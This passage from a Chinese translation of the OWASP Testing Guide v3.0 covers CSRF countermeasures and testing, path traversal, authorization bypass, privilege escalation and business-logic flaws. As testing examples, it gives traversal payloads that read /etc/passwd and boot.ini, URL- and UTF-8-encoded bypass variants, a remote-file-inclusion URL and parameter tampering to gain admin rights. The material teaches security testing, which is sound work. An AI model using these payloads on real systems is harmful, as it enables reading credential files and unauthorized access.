
然 而 这 些 漏 洞 可 以 在 防 火 墙 后 端 运 行 。 也 就 是 说 , 只 要 受 害 用 户 能 够 访 问 ( 攻 击 者 不 需 要 能 够 访 问 ) 就 可 以 了 。 它<br />

可 能 是 任 何 企 业 内 部 web 服 务 器 。 例 如 , 上 面 提 到 的 ( 不 太 可 能 允 许 外 部 因 特 网 访 问 的 ) 防 火 墙 管 理 站 。 如 果 一 个<br />

CSRF 攻 击 目 标 是 监 测 核 电 站 的 应 用 程 序 ... 听 起 来 是 不 可 能 的 事 吗 ? 这 种 情 况 可 能 性 很 小 , 但 它 确 实 有 可 能 发<br />

生 。<br />

本 身 存 在 漏 洞 的 应 用 程 序 , 即 用 来 作 为 攻 击 向 量 和 目 标 的 应 用 程 序 ( 如 网 络 邮 件 应 用 程 序 ), 会 使 情 况 变 得 更 严<br />

重 。 如 果 这 个 应 用 程 序 存 在 漏 洞 , 那 幺 正 在 读 取 包 含 CSRF 攻 击 信 息 的 用 户 ( 他 肯 定 已 经 登 录 成 功 了 ) 的 帐 号 , 就<br />

可 能 被 迫 使 执 行 比 如 删 除 信 息 、 冒 充 用 户 发 送 信 息 等 等 的 操 作 。<br />

对 策<br />

为 用 户 和 开 发 人 员 提 供 以 下 对 策 建 议<br />

用 户<br />

由 于 CSRF 漏 洞 普 遍 存 在 , 我 们 建 议 按 照 最 佳 做 法 , 以 减 少 风 险 。 一 些 缓 解 行 动 包 括 :<br />

• 使 用 Web 应 用 程 序 后 立 即 退 出<br />

• 不 要 让 您 的 浏 览 器 保 存 用 户 名 / 密 码 , 也 不 允 许 网 站 能 够 “ 记 住 ” 您 的 登 录<br />

• 不 要 使 用 相 同 的 浏 览 器 来 访 问 敏 感 应 用 程 序 和 访 问 互 联 网 ; 如 果 你 必 须 在 同 一 台 机 器 做 这 两 件 事 , 务 必 使<br />

用 不 同 的 浏 览 器 。<br />

集 成 HTML 功 能 的 邮 件 / 浏 览 器 、 阅 读 器 / 浏 览 器 环 境 带 来 了 更 多 的 风 险 , 因 为 只 浏 览 邮 件 或 新 闻 就 可 能 会 被 攻 击 。<br />

开 发 者<br />

给 URL 增 加 会 话 相 关 信 息 。 造 成 这 漏 洞 的 主 要 原 因 就 是 会 话 只 通 过 cookie 来 认 证 , 而 cookie 是 由 浏 览 器 自 动 传 输<br />

的 。 如 果 URL 含 有 特 定 的 会 话 信 息 , 那 幺 攻 击 者 就 很 难 知 道 URL 的 结 构 并 发 动 攻 击 。<br />

其 它 对 策 虽 然 不 能 解 决 这 个 问 题 , 但 是 可 以 提 升 利 用 这 漏 洞 的 难 度 。<br />

用 POST 代 替 GET。 虽 然 POST 请 求 可 以 通 过 JavaScript 手 段 模 拟 , 但 是 他 们 有 助 于 加 大 发 动 攻 击 的 难 度 。 使<br />

用 确 认 页 面 也 可 以 达 到 相 同 的 效 果 。( 如 :“ 您 确 定 您 真 的 要 这 样 做 ?” 这 种 类 型 的 网 页 )。 虽 然 它 们 可 被 攻 击 者<br />

绕 过 , 但 就 能 把 他 们 的 工 作 变 得 更 复 杂 一 些 。 因 此 , 不 能 仅 仅 依 靠 这 些 措 施 来 保 护 您 的 应 用 程 序 。 自 动 注 销 机 制 能<br />

稍 微 减 轻 漏 洞 暴 露 的 可 能 性 , 但 最 终 取 决 于 用 户 的 使 用 习 惯 ( 成 天 在 存 在 漏 洞 的 web 银 行 应 用 程 序 上 工 作 的 用 户 很<br />

明 显 比 偶 尔 使 用 这 样 的 网 站 的 人 存 在 更 大 的 风 险 。)。<br />

176


OWASP 测 试 指 南 v3.0<br />

黑 盒 测 试 实 例<br />

进 行 黑 盒 测 试 需 要 知 道 限 制 ( 认 证 后 的 ) 区 域 的 网 址 。 如 果 您 拥 有 有 效 的 证 书 , 可 以 假 定 自 己 担 任 两 个 角 色 - 攻 击<br />

者 和 受 害 者 。 在 这 种 情 况 下 , 你 只 需 要 通 过 浏 览 应 用 程 序 就 可 以 知 道 测 试 的 网 址 。<br />

否 则 , 如 果 您 没 有 提 供 有 效 的 证 书 , 你 就 必 须 组 织 一 个 真 正 的 攻 击 从 而 引 导 合 法 的 已 登 录 用 户 使 用 适 当 链 接 。 这 可<br />

能 涉 及 大 量 的 社 会 工 程 。<br />

无 论 哪 种 方 式 , 测 试 案 例 可 以 构 造 如 下 :<br />

• 我 们 用 u 代 表 测 试 URL, 如 : u = http://www.example.com/action<br />

• 建 立 一 个 包 含 参 照 URL u 的 HTTP 请 求 的 HTML 页 面 ( 列 明 所 有 相 关 参 数 ; 在 HTTP GET 案 例 中 可 以 直 接<br />

完 成 , 而 在 POST 请 求 中 需 要 使 用 一 些 JavaScript);<br />

• 确 保 有 效 的 用 户 登 录 到 应 用 ;<br />

• 诱 使 用 户 点 击 到 下 面 指 向 测 试 网 站 的 链 接 ( 如 果 你 自 己 无 法 模 拟 用 户 , 则 使 用 社 会 工 程 攻 击 );<br />

• 观 察 结 果 , 即 检 查 Web 服 务 器 是 否 执 行 了 你 指 定 的 请 求 。<br />

灰 盒 测 试 实 例<br />

审 查 应 用 程 序 以 确 定 其 会 话 管 理 是 否 包 含 漏 洞 。 如 果 会 话 的 管 理 依 赖 于 客 户 端 值 ( 浏 览 器 可 以 获 得 的 信 息 ), 那 幺<br />

该 应 用 程 序 存 在 漏 洞 。“ 客 户 端 值 ” 指 Cookies 和 HTTP 身 份 验 证 证 书 ( 基 本 验 证 和 其 他 形 式 的 HTTP 认 证 ; 不<br />

是 基 于 表 单 的 应 用 级 的 认 证 验 证 )。 如 果 希 望 应 用 程 序 不 存 在 漏 洞 , 必 须 在 URL 中 包 含 会 话 有 关 信 息 , 并 按 照 用 户<br />

无 法 识 别 或 无 法 预 测 的 形 式 ([3] 对 这 一 信 息 使 用 ” 保 密 ” 来 形 容 )。<br />

通 过 HTTP GET 请 求 得 到 的 资 源 很 容 易 存 在 漏 洞 , 但 通 过 JavaScript 自 动 发 送 的 POST 请 求 同 样 存 在 漏 洞 。 因<br />

此 仅 仅 使 用 POST 请 求 不 足 以 杜 绝 CSRF 漏 洞 。<br />

参 考<br />

白 皮 书<br />

• This issue seems to get rediscovered from time to time, under different names. A history of these vulnerabilities has been<br />

reconstructed in: http://www.webappsec.org/lists/websecurity/archive/2005-05/msg00003.html<br />

• Peter W: "Cross-Site Request Forgeries" - http://www.tux.org/~peterw/csrf.txt<br />

• Thomas Schreiber: "Session Riding" - http://www.securenet.de/papers/Session_Riding.pdf<br />

177


• Oldest known post - http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan<br />

工 具<br />

• Cross-site Request Forgery FAQ - http://www.cgisecurity.com/articles/csrf-faq.shtml<br />

• 我 们 现 阶 段 没 有 自 动 化 工 具 可 以 检 测 到 CSRF 漏 洞 是 否 存 在 。 但 你 还 是 可 以 使 用 spider/crawler 工 具 以 获 得 应 用 结<br />

构 , 从 而 知 道 需 要 测 试 的 URL。<br />

4.6 授 权 测 试<br />

授 权 就 是 允 许 获 得 许 可 的 用 户 获 取 资 源 。 授 权 测 试 就 是 了 解 授 权 流 程 如 何 工 作 , 并 使 用 这 些 信 息 规 避 授 权 机 制 。 授<br />

权 是 成 功 验 证 后 的 一 个 过 程 。 因 此 , 测 试 者 在 得 到 有 效 证 书 后 使 用 一 套 明 确 的 角 色 和 权 限 验 证 这 一 点 。 在 这 样 的 评<br />

估 中 , 应 当 核 实 是 否 可 以 绕 过 授 权 模 式 、 找 到 一 个 路 径 遍 历 漏 洞 、 或 设 法 升 级 分 配 给 测 试 者 的 特 权 。<br />

4.6.1 路 径 遍 历 测 试 (OWASP-AZ-001)<br />

首 先 , 我 们 测 试 是 否 能 够 找 到 一 种 方 法 来 执 行 路 径 遍 历 攻 击 并 获 得 保 留 信 息<br />

4.6.2 绕 过 授 权 模 式 测 试 (OWASP-AZ-002)<br />

这 种 测 试 的 重 点 是 核 实 如 何 对 每 一 个 角 色 / 特 权 实 施 授 权 模 式 以 便 获 得 保 留 功 能 / 资 源 。<br />

4.6.3 权 限 提 升 测 试 (OWASP-AZ-003)<br />

在 此 阶 段 , 测 试 者 需 要 确 认 用 户 不 可 能 采 用 允 许 特 权 提 升 攻 击 的 方 式 修 改 自 己 在 应 用 程 序 内 部 的 特 权 / 角 色 。<br />

4.6.1 路 径 遍 历 测 试 (OWASP-AZ-001)<br />

概 述<br />

许 多 Web 应 用 程 序 日 常 操 作 的 一 部 分 就 是 使 用 和 管 理 文 件 。 通 过 使 用 没 有 设 计 或 部 署 好 的 输 入 验 证 方 法 , 攻 击 者 可<br />

以 利 用 该 系 统 读 / 写 原 本 不 能 访 问 的 文 件 。 在 特 定 情 况 下 , 它 有 可 能 执 行 任 意 代 码 或 系 统 命 令 。<br />

相 关 安 全 活 动<br />

路 径 遍 历 漏 洞 说 明<br />

参 见 OWASP 条 路 径 遍 历 漏 洞 。<br />

参 见 OWASP 文 章 相 对 路 径 遍 历 漏 洞 。<br />

如 何 避 免 路 径 遍 历 漏 洞<br />

178


OWASP 测 试 指 南 v3.0<br />

OWASP 指 南 关 于 如 何 避 免 路 径 遍 历 漏 洞 。<br />

如 何 修 改 代 码 路 径 遍 历 漏 洞<br />

见 OWASP Code Review Guide 文 章 之 如 何 修 改 路 径 遍 历 漏 洞 代 码 。<br />

问 题 描 述<br />

传 统 的 Web 服 务 器 和 Web 应 用 程 序 为 了 控 制 文 件 和 资 源 访 问 , 实 行 身 份 验 证 机 制 。 Web 服 务 器 尝 试 限 制 用 户 仅 可<br />

使 用 在 “ 根 目 录 ” 或 “ 网 页 文 件 根 ” 中 的 文 件 , 这 些 目 录 代 表 的 是 文 件 系 统 的 物 理 目 录 。 用 户 必 须 将 这 个 目 录 作 为 web<br />

应 用 程 序 层 次 结 构 中 的 基 础 目 录 。 访 问 控 制 列 表 ( ACL ) 对 特 权 的 定 义 是 确 定 哪 些 用 户 或 组 能 够 在 服 务 器 上 访 问 、<br />

修 改 或 执 行 特 定 文 件 。 设 计 这 些 机 制 的 目 的 是 防 止 恶 意 用 户 访 问 敏 感 文 件 ( 例 如 , 在 Unix 平 台 常 见 的 /etc/passwd<br />

文 件 ) 或 避 免 执 行 系 统 命 令 。<br />

许 多 Web 应 用 程 序 使 用 服 务 器 端 脚 本 包 含 不 同 类 型 的 文 件 : 通 常 使 用 此 方 法 来 管 理 图 形 、 模 板 、 加 载 静 态 文 本 等<br />

等 。 然 而 如 果 输 入 的 参 数 ( 即 , 表 单 的 参 数 、 Cookie 值 ) 没 有 经 过 验 证 , 这 些 应 用 程 序 会 暴 露 安 全 漏 洞 。<br />

在 Web 服 务 器 和 Web 应 用 程 序 , 这 种 问 题 体 现 为 路 径 遍 历 / 包 含 外 部 文 件 的 漏 洞 。 利 用 这 样 的 漏 洞 , 攻 击 者 能 够 读<br />

取 本 无 法 读 取 的 目 录 或 文 件 、 获 得 网 站 文 件 根 目 录 以 外 的 数 据 、 或 从 外 部 网 站 包 含 脚 本 和 其 它 类 型 的 文 件 。<br />

基 于 OWASP 测 试 指 南 的 宗 旨 , 我 们 将 只 考 虑 与 Web 应 用 程 序 有 关 的 安 全 威 胁 , 而 不 是 Web 服 务 器 ( 例 如 , 在 微<br />

软 IIS Web 服 务 器 中 臭 名 昭 著 的 “ % 5C 转 义 码 ”) 。 我 们 将 为 有 兴 趣 的 读 者 在 参 考 章 节 中 提 供 进 一 步 阅 读 的 建 议 。<br />

这 种 攻 击 也 被 称 为 dot-dot-slash 攻 击 (../)、 目 录 遍 历 、 目 录 爬 行 或 目 录 倒 退 。<br />

为 了 发 现 路 径 遍 历 和 包 含 外 部 文 件 漏 洞 , 在 评 估 中 我 们 需 要 执 行 两 个 不 同 的 阶 段 :<br />

• ( 一 ) 输 入 向 量 计 数 ( 有 系 统 地 评 估 每 一 个 输 入 向 量 )<br />

• ( 二 ) 测 试 技 术 ( 有 条 不 紊 的 评 价 攻 击 者 利 用 漏 洞 时 所 使 用 的 每 一 个 攻 击 技 巧 )<br />

黑 盒 测 试 实 例<br />

(a) 输 入 向 量 计 数<br />

为 了 确 定 应 用 程 序 哪 些 部 分 存 在 绕 过 输 入 验 证 的 漏 洞 , 测 试 需 要 列 举 所 有 接 受 用 户 内 容 的 应 用 程 序 部 分 。 这 还 包 括<br />

HTTP GET 和 POST 查 询 和 类 似 文 件 上 传 和 HTML 表 单 的 输 入 。<br />

下 面 是 这 一 阶 段 执 行 检 查 的 一 些 例 子 :<br />

• 是 否 存 在 用 于 文 件 相 关 操 作 的 请 求 参 数 ?<br />

• 是 否 存 在 不 寻 常 的 文 件 扩 展 名 ?<br />

179


• 是 否 存 在 有 趣 的 变 量 名 称 ?<br />

http://example.com/getUserProfile.jsp?item=ikki.html<br />

http://example.com/index.php?file=content<br />

http://example.com/main.cgi?home=index.htm<br />

• 是 否 有 可 能 确 定 Web 应 用 程 序 网 页 / 模 板 动 态 生 成 所 使 用 的 Cookie?<br />

Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower<br />

Cookie: USER=1826cc8f:PSTYLE=GreenDotRed<br />

(b) 测 试 技 术<br />

下 一 阶 段 的 测 试 是 分 析 Web 应 用 程 序 的 输 入 验 证 功 能 。<br />

在 上 一 个 案 例 中 , 名 为 getUserProfile.jsp 的 动 态 网 页 从 一 个 文 件 中 负 载 静 态 信 息 , 并 将 内 容 显 示 给 用 户 。 攻 击 者 可<br />

以 插 入 恶 意 字 符 串 "../../../../etc/passwd“ 用 于 包 含 Linux / Unix 系 统 密 码 散 列 文 件 。 显 然 , 这 种 攻 击 只 有 在 验 证 检 查<br />

失 败 后 才 可 能 进 行 ; 根 据 文 件 系 统 的 特 权 设 定 ,Web 应 用 程 序 本 身 必 须 能 够 读 取 该 文 件 。<br />

为 了 成 功 地 测 试 这 一 缺 陷 , 该 测 试 需 要 了 解 所 测 试 的 系 统 和 请 求 的 文 件 地 址 。 例 如 , 尝 试 从 IIS Web 服 务 器 请 求<br />

/etc/passwd 文 件 是 毫 无 意 义 的 。<br />

http://example.com/getUserProfile.jsp?item=../../../../etc/passwd<br />

Cookie 的 例 子 :<br />

Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd<br />

也 可 以 包 括 位 于 外 部 网 站 的 文 件 和 脚 本 。<br />

http://example.com/index.php?file=http://www.owasp.org/malicioustxt<br />

下 面 的 例 子 将 演 示 如 何 在 无 需 使 用 任 何 路 径 遍 历 字 符 情 况 下 查 看 CGI 组 件 的 源 代 码 。<br />

http://example.com/main.cgi?home=main.cgi<br />

名 为 “ main.cgi ” 的 组 件 和 其 它 应 用 程 序 使 用 的 普 通 HTML 静 态 文 件 一 样 位 于 相 同 的 目 录 下 。 在 某 些 情 况 下 , 测 试 需<br />

要 使 用 特 殊 字 符 编 码 请 求 ( 如 “ . ”dot, “%00 ” null, ... ), 以 便 绕 过 文 件 扩 展 控 制 或 防 止 脚 本 执 行 。<br />

开 发 者 通 常 的 错 误 在 于 没 有 想 到 使 用 所 有 可 能 的 编 码 形 式 。 因 此 只 验 证 了 基 本 的 编 码 内 容 。 如 果 您 第 一 次 测 试 字 符<br />

串 没 有 成 功 , 尝 试 另 一 种 编 码 方 案 就 可 能 可 以 绕 过 输 入 验 证 。<br />

每 个 作 业 系 统 使 用 不 同 的 字 符 作 为 路 径 分 隔 符 :<br />

Unix-like OS:<br />

根 目 录 : "/"<br />

180


OWASP 测 试 指 南 v3.0<br />

目 录 分 隔 符 : "/"<br />

Windows OS:<br />

根 目 录 : ":\"<br />

目 录 分 隔 符 : "\" but also "/"<br />

( 通 常 情 况 下 , 在 Windows 的 目 录 遍 历 攻 击 仅 限 于 一 个 单 一 的 分 区 。)<br />

Classic Mac OS:<br />

根 目 录 : ":"<br />

目 录 分 隔 符 : ":"<br />

我 们 应 考 虑 下 列 字 符 编 码 :<br />

• URL 编 码 和 双 重 URL 编 码<br />

%2e%2e%2f represents ../<br />

%2e%2e/ represents ../<br />

..%2f represents ../<br />

%2e%2e%5c represents ..\<br />

%2e%2e\ represents ..\<br />

..%5c represents ..\<br />

%252e%252e%255c represents ..\<br />

..%255c represents ..\ 等 等 .<br />

• Unicode/UTF-8 编 码 ( 它 只 适 用 于 能 够 接 受 超 长 UTF-8 序 列 的 系 统 )<br />

..%c0%af represents ../<br />

..%c1%9c represents ..\<br />

灰 盒 测 试 实 例<br />

灰 盒 测 试 分 析 必 须 按 照 黑 盒 测 试 中 的 同 样 方 法 。 然 而 , 由 于 我 们 能 够 审 查 源 代 码 , 就 可 以 更 容 易 、 更 准 确 地 搜 索 输<br />

入 向 量 ( 测 试 阶 段 (a))。 在 源 代 码 审 查 时 , 我 们 可 以 使 用 简 单 的 工 具 ( 如 grep 命 令 ) 来 搜 索 一 个 或 多 个 应 用 程<br />

序 代 码 中 的 共 同 模 式 : 包 含 功 能 , 文 件 系 统 操 作 , 等 等<br />

PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ...<br />

JSP/Servlet: java.io.File(), java.io.FileReader(), ...<br />

ASP: include file, include virtual, ...<br />

使 用 网 上 代 码 搜 索 引 擎 ( 例 如 , 谷 歌 CodeSearch [ 1 ] , Koders [ 2 ] ) , 也 可 能 在 互 联 网 上 发 布 的<br />

开 源 软 件 中 找 到 路 径 遍 历 漏 洞 。<br />

对 于 PHP , 我 们 可 以 使 用 :<br />

181


lang:php (include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)<br />

使 用 灰 盒 测 试 方 法 能 够 发 现 很 难 发 现 的 漏 洞 ,<br />

一 些 Web 应 用 程 序 使 用 储 存 在 数 据 库 中 的 值 和 参 数 生 成 动 态 网 页 。 在 应 用 程 序 增 加 数 据 到 数 据 库 时 , 有 可 能 插 入<br />

特 制 的 路 径 遍 历 字 符 串 。 甚 至 能 发 现 在 标 准 黑 盒 测 试 中 没 法 发 现 的 漏 洞 。<br />

由 于 在 包 含 功 能 中 的 参 数 像 是 内 部 参 数 , 他 们 通 常 被 视 为 “ 安 全 的 ”, 因 此 这 样 的 安 全 问 题 很 难 被 发 现 。<br />

此 外 , 审 查 源 代 码 应 该 分 析 用 来 处 理 无 效 输 入 的 功 能 : 一 些 开 发 者 试 图 改 变 无 效 的 输 入 , 使 之 有 效 , 避 免 警 告 和 错<br />

误 。 这 些 功 能 通 常 容 易 存 在 安 全 漏 洞 。<br />

让 我 们 看 一 个 含 有 下 面 这 些 指 示 的 Web 应 用 程 序 :<br />

filename = Request.QueryString(“file”);<br />

Replace(filename, “/”,”\”);<br />

Replace(filename, “..\”,””);<br />

测 试 所 能 分 析 出 的 缺 陷 有 :<br />

file=....//....//boot.ini<br />

file=....\\....\\boot.ini<br />

file= ..\..\boot.ini<br />

参 考<br />

白 皮 书<br />

• Security Risks of - http://www.schneier.com/crypto-gram-0007.html[3]<br />

工 具<br />

• phpBB Attachment Mod Directory Traversal HTTP POST Injection - http://archives.neohapsis.com/archives/fulldisclosure/2004-<br />

12/0290.html[4]<br />

• Web Proxy (Burp Suite[5], Paros[6], WebScarab[7])<br />

• Enconding/Decoding tools<br />

• String searcher "grep" - http://www.gnu.org/software/grep/<br />

182


OWASP 测 试 指 南 v3.0<br />

4.6.2 绕 过 授 权 模 式 测 试 (OWASP-AZ-002)<br />

摘 要<br />

这 种 测 试 的 重 点 是 验 证 如 何 对 每 一 个 角 色 / 特 权 实 施 授 权 模 式 以 便 获 得 保 留 功 能 / 资 源 。<br />

问 题 描 述<br />

有 必 要 对 测 试 者 所 持 有 的 每 一 个 具 体 职 责 和 应 用 程 序 在 后 阶 段 验 证 过 程 中 所 执 行 的 每 一 个 功 能 和 请 求 进 行 以 下 核 实<br />

评 估 :<br />

• 当 用 户 没 有 通 过 验 证 时 , 是 否 有 可 能 访 问 该 资 源 ?<br />

• 是 否 有 可 能 在 注 销 后 访 问 该 资 源 ?<br />

• 是 否 有 可 能 获 得 只 应 由 拥 有 不 同 角 色 / 特 权 的 用 户 才 能 访 问 的 功 能 和 资 源 ?<br />

• 尝 试 作 为 管 理 员 用 户 访 问 应 用 程 序 并 追 踪 所 有 的 管 理 职 能 。 如 果 测 试 者 用 普 通 用 户 身 份 登 录 是 否 有 可 能 访<br />

问 这 些 管 理 职 能 ?<br />

• 因 拥 有 不 同 权 限 , 而 导 致 操 作 被 拒 绝 的 用 户 是 否 有 可 能 使 用 这 些 功 能 ?<br />

黑 盒 测 试<br />

管 理 功 能 测 试<br />

例 如 , 假 设 AddUser.jsp 的 功 能 是 应 用 程 序 管 理 菜 单 中 的 一 部 分 并 且 通 过 请 求 下 面 网 址 能 够 访 问 这 个 功 能 :<br />

https://www.example.com/admin/addUser.jsp<br />

接 下 来 , 当 调 用 AddUser 功 能 时 会 产 生 下 面 的 HTTP 请 求 :<br />

POST /admin/addUser.jsp HTTP/1.1<br />

Host: www.example.com<br />

[other HTTP headers]<br />

userID=fakeuser&role=3&group=grp001<br />

如 果 非 管 理 员 用 户 尝 试 执 行 这 一 要 求 会 产 生 什 幺 情 况 呢 ? 是 否 会 创 建 新 用 户 ? 如 果 是 这 样 , 新 用 户 是 否 可 以 使 用 管<br />

理 员 的 特 权 ?<br />

获 得 分 配 给 不 同 角 色 的 资 源 的 测 试<br />

183


例 如 , 分 析 使 用 一 个 共 享 目 录 为 不 同 的 用 户 存 储 临 时 PDF 文 件 的 一 个 应 用 程 序 。 假 设 documentABC.pdf 只 能 由 有<br />

roleA 的 用 户 test1 访 问 。 验 证 有 roleB 的 用 户 test2 是 否 能 访 问 此 资 源 。<br />

预 期 结 果<br />

尝 试 以 标 准 用 户 执 行 管 理 员 职 能 , 或 获 得 管 理 员 的 资 源 。<br />

参 考<br />

工 具<br />

• OWASP WebScarab: OWASP_WebScarab_Project<br />

4.6.3 提 权 测 试 (OWASP-AZ-003)<br />

摘 要<br />

本 节 描 述 的 是 从 一 个 特 权 等 级 升 级 到 另 一 个 特 权 等 级 的 问 题 。 在 此 阶 段 , 测 试 需 要 确 认 用 户 不 可 能 在 应 用 程 序 内 部<br />

使 用 特 权 提 升 攻 击 以 修 改 自 己 的 特 权 / 角 色 。<br />

问 题 描 述<br />

当 一 个 用 户 获 得 比 平 时 更 多 的 资 源 或 功 能 时 就 发 生 了 权 限 升 级 。 应 用 程 序 本 应 该 阻 止 这 种 提 升 / 改 变 。 但 通 常 是 由 于<br />

应 用 程 序 存 在 漏 洞 导 致 有 可 能 发 生 特 权 升 级 。 结 果 就 是 应 用 程 序 执 行 操 作 时 拥 有 的 权 限 比 开 发 者 或 系 统 管 理 员 分 配<br />

的 还 要 多 。<br />

升 级 的 程 度 取 决 于 攻 击 者 授 权 获 得 的 权 限 和 成 功 利 用 漏 洞 所 能 获 得 的 权 限 。 例 如 , 让 用 户 成 功 登 录 后 获 得 额 外 的 特<br />

权 的 升 级 程 度 是 相 对 有 限 的 , 因 为 用 户 本 身 已 经 获 得 了 一 些 特 权 。 但 远 程 攻 击 者 在 没 有 任 何 验 证 而 获 得 超 级 用 户 的<br />

特 权 , 他 们 的 特 权 得 到 极 大 地 提 升 。<br />

通 常 情 况 下 , 垂 直 升 级 是 指 获 得 只 分 配 给 拥 有 更 多 特 权 账 户 的 资 源 ( 如 , 获 得 应 用 程 序 管 理 权 限 ); 而 横 向 升 级 是<br />

指 通 过 获 得 类 似 配 置 账 户 的 资 源 ( 例 如 , 在 一 个 在 线 银 行 应 用 程 序 中 , 获 取 不 同 用 户 信 息 ) 。<br />

黑 盒 测 试 实 例<br />

角 色 / 特 权 测 试<br />

在 应 用 程 序 的 各 个 部 分 中 , 用 户 可 以 在 数 据 库 中 增 加 信 息 ( 例 如 , 付 款 、 增 加 联 系 人 、 或 发 送 邮 件 ), 收 到 信 息<br />

( 帐 户 报 表 、 订 单 详 情 等 ), 或 删 除 信 息 ( 删 除 用 户 、 邮 件 等 )。 因 此 有 必 要 记 录 这 些 功 能 。 测 试 应 使 用 另 外 一 个<br />

用 户 尝 试 访 问 这 些 功 能 。 例 如 : 是 否 能 进 入 当 前 角 色 / 权 限 所 不 能 进 入 的 功 能 ( 但 允 许 其 它 用 户 访 问 ) 。<br />

例 如 , 下 面 的 HTTP POST 允 许 属 于 grp001 的 用 户 读 取 订 单 #0001:<br />

184


OWASP 测 试 指 南 v3.0<br />

POST /user/viewOrder.jsp HTTP/1.1<br />

Host: www.example.com<br />

...<br />

gruppoID=grp001&ordineID=0001<br />

测 试 不 属 于 grp001 的 用 户 是 否 可 以 修 改 ‘gruppoID ' 和 ' ordineID ' 的 参 数 值 从 而 读 取 这 一 特 权 数 据 。<br />

例 如 , 下 面 的 服 务 器 的 回 答 显 示 出 在 成 功 验 证 后 HTML 中 返 回 给 用 户 的 隐 藏 字 段 。<br />

HTTP/1.1 200 OK<br />

Server: Netscape-Enterprise/6.0<br />

Date: Wed, 1 Apr 2006 13:51:20 GMT<br />

Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/; domain=www.example.com<br />

Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain= www.example.com<br />

Cache-Control: no-cache<br />

Pragma: No-cache<br />

Content-length: 247<br />

Content-Type: text/html<br />

Expires: Thu, 01 Jan 1970 00:00:00 GMT<br />

Connection: close<br />

<br />

<br />

<br />

<br />

<br />

如 果 测 试 者 将 变 量 的 值 “ profilo ” 修 改 成 “ SistemiInf9 ” 会 怎 幺 样 呢 ? 这 样 是 否 有 可 能 成 为 管 理 员 ?<br />

例 如 :<br />

在 下 面 环 境 中 , 服 务 器 发 送 一 个 错 误 信 息 , 包 含 一 套 答 案 代 码 中 特 定 参 数 中 的 值 :<br />

@0`1`3`3``0`UC`1`Status`OK`SEC`5`1`0`ResultSet`0`PVValido`-1`0`0` Notifications`0`0`3`Command Manager`0`0`0` StateToolsBar`0`0`0`<br />

StateExecToolBar`0`0`0`FlagsToolBar`0<br />

该 服 务 器 提 供 给 用 户 隐 藏 的 信 任 。 它 认 为 用 户 将 回 答 上 述 关 闭 会 话 时 的 信 息 。 在 这 种 情 况 下 , 必 须 确 认 通 过 修 改 参<br />

数 值 不 可 能 升 级 权 限 。 在 这 一 特 殊 的 例 子 , 通 过 把 `PVValido 值 ' 从 -1 ' 修 改 成 '0 '( 没 有 错 误 状 况 ) , 就 可 能 可 以 以 管<br />

理 员 身 份 通 过 服 务 器 验 证 。<br />

预 期 结 果 :<br />

185


测 试 应 核 实 执 行 特 权 升 级 尝 试 不 成 功 。<br />

参 考<br />

白 皮 书<br />

工 具<br />

• Wikipedia: http://en.wikipedia.org/wiki/Privilege_escalation<br />

• OWASP WebScarab: OWASP_WebScarab_Project<br />

4.7 业 务 逻 辑 测 试 (OWASP-BL-001)<br />

摘 要<br />

在 一 个 多 功 能 动 态 Web 应 用 程 序 中 进 行 业 务 逻 辑 漏 洞 测 试 需 要 非 常 规 的 思 维 方 式 。 例 如 , 如 果 应 用 程 序 认 证 机 制<br />

是 采 取 步 骤 1,2,3 执 行 验 证 , 那 幺 如 果 你 从 第 1 步 直 接 跳 转 到 第 3 步 会 发 生 什 幺 样 的 情 况 ? 在 这 简 单 的 例 子 中 , 应<br />

用 程 序 是 否 通 过 打 开 失 败 、 拒 绝 访 问 、 或 只 是 报 告 一 个 500 错 误 信 息 ? 这 样 的 案 例 有 很 多 , 但 是 一 个 恒 定 的 课 程 是<br />

“ 跳 出 传 统 的 智 能 ”。 漏 洞 扫 描 器 无 法 检 测 到 这 种 类 型 的 漏 洞 , 而 只 可 依 赖 渗 透 测 试 者 的 技 巧 和 创 造 力 。 并 且 这 种<br />

类 型 的 漏 洞 通 常 是 难 以 发 现 的 。 同 时 如 果 被 加 以 利 用 , 这 种 漏 洞 通 常 也 是 应 用 程 序 最 严 重 的 安 全 问 题 。<br />

业 务 逻 辑 包 括 :<br />

• 明 确 业 务 政 策 的 业 务 规 则 ( 如 渠 道 、 地 点 、 物 流 、 价 格 和 产 品 )<br />

• 建 立 在 任 务 的 顺 序 基 础 上 , 将 文 件 或 数 据 从 一 个 参 与 者 ( 一 个 人 或 一 个 软 件 系 统 ) 传 递 到 另 一 个 参 与 者 的<br />

工 作 流 程 。<br />

应 用 程 序 的 业 务 逻 辑 攻 击 是 很 危 险 、 难 以 察 觉 的 , 而 且 通 常 是 针 对 特 定 的 应 用 程 序 。<br />

问 题 描 述<br />

业 务 逻 辑 可 能 存 在 安 全 漏 洞 , 允 许 用 户 做 一 些 业 务 所 不 允 许 做 的 事 情 。 例 如 , 如 果 赔 偿 限 额 是 1000 美 元 , 攻 击 者<br />

是 否 可 能 滥 用 系 统 并 要 求 更 多 的 赔 偿 呢 ? 或 者 在 用 户 业 务 办 理 中 应 按 照 特 定 顺 序 , 但 攻 击 者 可 以 打 破 这 些 顺 序 。 或<br />

用 户 是 否 可 以 使 用 负 值 金 额 进 行 购 买 ? 但 遗 憾 的 是 , 应 用 程 序 中 通 常 并 没 有 这 些 业 务 逻 辑 检 查 。<br />

自 动 化 工 具 很 难 理 解 内 容 。 因 此 , 它 取 决 于 执 行 这 类 测 试 的 人 。 以 下 两 个 例 子 说 明 了 如 何 理 解 应 用 的 功 能 、 开 发 者<br />

的 意 图 , 同 时 一 些 有 创 意 的 “ 乱 用 ” 的 思 想 , 就 可 以 打 破 应 用 程 序 的 逻 辑 和 获 得 利 益 。 第 一 个 例 子 是 一 个 简 单 的 参 数<br />

操 纵 , 而 第 二 个 是 真 实 的 案 例 说 明 一 个 多 步 骤 进 程 导 致 应 用 程 序 彻 底 崩 溃 。 ( 请 注 意 , 这 是 一 个 在 真 实 环 境 下 进 行<br />

的 应 用 渗 透 测 试 , 所 以 并 不 进 行 真 正 的 破 坏 行 为 , 而 是 对 概 念 进 行 验 证 )。<br />

业 务 界 限 和 限 制<br />

186
